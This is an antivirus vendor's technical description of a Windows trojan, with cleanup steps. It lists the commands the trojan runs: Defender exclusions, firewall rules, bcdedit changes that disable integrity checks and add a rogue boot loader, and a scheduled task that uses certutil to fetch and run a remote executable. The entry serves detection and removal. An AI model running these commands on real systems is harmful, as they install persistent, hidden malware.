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Trojan.Siggen10.41636

Added to the Dr.Web virus database: 2020-10-23

Virus description added:

Technical Information

To ensure autorun and distribution
Modifies the following registry keys
  • [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'FallingMorning' = '"%WINDIR%\rss\csrss.exe"'
Creates or modifies the following files
  • <SYSTEM32>\tasks\scheduledupdate
  • <SYSTEM32>\tasks\csrss
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
  • [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%' = '00000000'
  • [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\rss' = '00000000'
  • [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%APPDATA%\8edad8e8feee' = '00000000'
  • [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%TEMP%\csrss' = '00000000'
  • [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%APPDATA%\FallingMorning' = '00000000'
  • [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\windefender.exe' = '00000000'
  • [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%TEMP%\wup' = '00000000'
  • [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '<DRIVERS>' = '00000000'
  • [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes] 'csrss.exe' = '00000000'
  • [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes] '8edad8e8feee.exe' = '00000000'
  • [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes] 'windefender.exe' = '00000000'
  • [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes] '<File name>.exe' = '00000000'
Executes the following
  • '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="csrss" dir=in action=allow program="%WINDIR%\rss\csrss.exe" enable=yes
  • '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="CloudNet" dir=in action=allow program="%APPDATA%\8edad8e8feee\8edad8e8feee.exe" enable=yes
Modifies file system
Creates the following files
  • %WINDIR%\rss\csrss.exe
  • nul
  • %TEMP%\csrss\patch.exe
  • %TEMP%\dbghelp.dll
  • %TEMP%\symsrv.dll
  • %TEMP%\ntkrnlmp.exe
  • %TEMP%\osloader.exe
  • %TEMP%\symbols\ntkrnlmp.pdb\3844dbb920174967be7aa4a2c20430fa2\download.error
Deletes the following files
  • %TEMP%\csrss\patch.exe
Moves the following files
  • from %TEMP%\symbols\ntkrnlmp.pdb\3844dbb920174967be7aa4a2c20430fa2\download.error to %TEMP%\symbols\ntkrnlmp.pdb\3844dbb920174967be7aa4a2c20430fa2\ntkrnlmp.pdb
  • from %TEMP%\ntkrnlmp.exe to <SYSTEM32>\ntkrnlmp.exe
  • from %TEMP%\osloader.exe to <SYSTEM32>\osloader.exe
Substitutes the following files
  • %TEMP%\symbols\ntkrnlmp.pdb\3844dbb920174967be7aa4a2c20430fa2\download.error
Network activity
Connects to
  • 'vs###########ssu5shard58.blob.core.windows.net':443
TCP
HTTP GET requests
  • http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt
  • 'se#####.easywbdesign.com':443
  • 'msdl.microsoft.com':443
  • 'vs###########ssu5shard10.blob.core.windows.net':443
  • UDP
    • DNS ASK ea####design.com
    • DNS ASK 41#############f2b-9aa5-f37f3a7ddb52.easywbdesign.com
    • DNS ASK se#####.easywbdesign.com
    • DNS ASK msdl.microsoft.com
    • DNS ASK microsoft.com
    • DNS ASK vs###########ssu5shard10.blob.core.windows.net
    • DNS ASK vs###########ssu5shard58.blob.core.windows.net
    Miscellaneous
    Adds a root certificate
    Creates and executes the following
    • '%WINDIR%\rss\csrss.exe' ""
    • '%TEMP%\csrss\patch.exe'
    • '<SYSTEM32>\cmd.exe' /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="%WINDIR%\rss\csrss.exe" enable=yes"' (with hidden window)
    • '%WINDIR%\syswow64\cmd.exe' /C sc sdset Winmon D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)' (with hidden window)
    • '%TEMP%\csrss\dsefix.exe' ' (with hidden window)
    • '<SYSTEM32>\bcdedit.exe' /v' (with hidden window)
    • '<SYSTEM32>\bcdedit.exe' -default {71A3C7FC-F751-4982-AEC1-E958357E6813}' (with hidden window)
    • '<SYSTEM32>\bcdedit.exe' -timeout 0' (with hidden window)
    • '<SYSTEM32>\bcdedit.exe' -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast' (with hidden window)
    • '<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}' (with hidden window)
    • '<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1' (with hidden window)
    • '<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn' (with hidden window)
    • '<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0' (with hidden window)
    • '<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe' (with hidden window)
    • '%WINDIR%\syswow64\cmd.exe' /C sc sdset WinmonFS D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)' (with hidden window)
    • '<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows' (with hidden window)
    • '<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:' (with hidden window)
    • '<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:' (with hidden window)
    • '<SYSTEM32>\bcdedit.exe' -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER' (with hidden window)
    • '%TEMP%\csrss\patch.exe' ' (with hidden window)
    • '<SYSTEM32>\schtasks.exe' /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://babsitef.com/app/app.exe %TEMP%\csrss\scheduled.exe && %TEMP%\csrss\scheduled.exe /31340" /TN...' (with hidden window)
    • '<SYSTEM32>\schtasks.exe' /CREATE /SC ONLOGON /RL HIGHEST /TR "%WINDIR%\rss\csrss.exe" /TN csrss /F' (with hidden window)
    • '%WINDIR%\rss\csrss.exe' ""' (with hidden window)
    • '<SYSTEM32>\cmd.exe' /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="%APPDATA%\8edad8e8feee\8edad8e8feee.exe" enable=yes"' (with hidden window)
    • '<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe' (with hidden window)
    • '%WINDIR%\syswow64\cmd.exe' /C sc sdset WinmonProcessMonitor D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD...' (with hidden window)
    Executes the following
    • '<SYSTEM32>\cmd.exe' /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="%WINDIR%\rss\csrss.exe" enable=yes"
    • '%WINDIR%\syswow64\sc.exe' sdset WinmonFS D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
    • '%WINDIR%\syswow64\cmd.exe' /C sc sdset WinmonFS D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
    • '%WINDIR%\syswow64\sc.exe' sdset Winmon D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
    • '%WINDIR%\syswow64\cmd.exe' /C sc sdset Winmon D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
    • '<SYSTEM32>\bcdedit.exe' /v
    • '<SYSTEM32>\bcdedit.exe' -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
    • '<SYSTEM32>\bcdedit.exe' -timeout 0
    • '<SYSTEM32>\bcdedit.exe' -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
    • '<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
    • '<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
    • '<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
    • '<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
    • '<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
    • '<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
    • '<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
    • '<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C
    • '<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C
    • '<SYSTEM32>\bcdedit.exe' -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
    • '<SYSTEM32>\schtasks.exe' /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://babsitef.com/app/app.exe %TEMP%\csrss\scheduled.exe && %TEMP%\csrss\scheduled.exe /31340" /TN...
    • '<SYSTEM32>\schtasks.exe' /CREATE /SC ONLOGON /RL HIGHEST /TR "%WINDIR%\rss\csrss.exe" /TN csrss /F
    • '<SYSTEM32>\cmd.exe' /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="%APPDATA%\8edad8e8feee\8edad8e8feee.exe" enable=yes"
    • '%WINDIR%\syswow64\cmd.exe' /C sc sdset WinmonProcessMonitor D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD...
    • '%WINDIR%\syswow64\sc.exe' sdset WinmonProcessMonitor D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

    Curing recommendations

    1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
    2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
    Download Dr.Web

    Download by serial number

    Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.

    After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

    Download Dr.Web

    Download by serial number

    1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
    2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
      • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
      • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
      • Switch off your device and turn it on as normal.

    Find out more about Dr.Web for Android